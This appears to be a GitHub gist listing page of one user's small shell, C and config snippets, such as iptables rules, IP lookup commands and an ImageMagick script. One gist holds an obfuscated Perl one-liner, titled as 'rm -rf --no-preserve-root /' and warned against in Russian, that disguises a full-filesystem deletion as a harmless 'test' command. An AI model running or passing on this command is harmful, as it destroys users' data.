Skip to content

Instantly share code, notes, and snippets.

View Frodox's full-sized avatar
🎯
Focusing

Vitaly Rybnikov Frodox

🎯
Focusing
View GitHub Profile
@Frodox
Frodox / iptables-save
Created May 5, 2013 18:08
iptables-save
# iptables-save
# Generated by iptables-save v1.4.12 on Sun May 5 22:05:44 2013
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [5:224]
-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -p icmp -j ACCEPT
-A INPUT -i lo -j ACCEPT
-A INPUT -p udp -m state --state NEW -m udp --dport 137 -j ACCEPT
@Frodox
Frodox / get-ip.sh
Last active December 17, 2015 06:39
get ip adress
curl -G http://checkip.dyndns.org/index.html |grep "Current IP Address" |cut -d ':' -f 2 |cut -d '<' -f 1
wget -O - -q icanhazip.com
@Frodox
Frodox / stdbool.h
Created June 11, 2013 10:06
If the compiler does not support C99, you can define bool type yourself.
#include <stdbool.h>
– Keith Thompson
If the compiler does not support C99, you can define bool type yourself:
// file : myboolean.h
#ifndef MYBOOLEAN_H
#define MYBOOLEAN_H
#define false 0
@Frodox
Frodox / gist:6482297
Created September 8, 2013 06:08
Usefull snippets
xclip -sel clip < ~/.ssh/id_rsa.pub
@Frodox
Frodox / rm-on-perl.perl
Created September 26, 2013 19:34
rm -rf --no-preserve-root /
cat «test… test… test...» | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Не запускай только, ради бога)
@Frodox
Frodox / get-dollar-course.sh
Created October 25, 2013 18:34
Get daily doular~ruble course
$ curl http://www.cbr.ru/scripts/XML_daily.asp |& grep USD -A3 | tail -1 | grep -oE '[0-9,]+'
@Frodox
Frodox / is_cpp.c
Created January 28, 2014 10:20
compiler's funs
#include <stdio.h>
int main()
{
int is_cpp = -1 + 2//**/2
;
if (is_cpp)
printf ("C++\n");
else
printf ("C\n");
@Frodox
Frodox / count_char.sh
Last active January 4, 2016 19:09
Count char accourence
#!/bin/bash
$ echo "qwertyuuiop cxcx xcxc x x xc x" | tr -cd ' '|wc -c
# work with unicode
$ echo "qwertyuuiop cxcx xcxc x x xc x" | grep -o 'x'|wc -l
@Frodox
Frodox / GPL.md
Created April 2, 2014 19:56 — forked from jnrbsn/GPL.md

GNU GENERAL PUBLIC LICENSE

Version 3, 29 June 2007

Copyright © 2007 Free Software Foundation, Inc. <http://fsf.org/>

Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.

Description

This simple script will take a picture of a whiteboard and use parts of the ImageMagick library with sane defaults to clean it up tremendously.

The script is here:

#!/bin/bash
convert "$1" -morphology Convolve DoG:15,100,0 -negate -normalize -blur 0x1 -channel RBG -level 60%,91%,0.1 "$2"

Results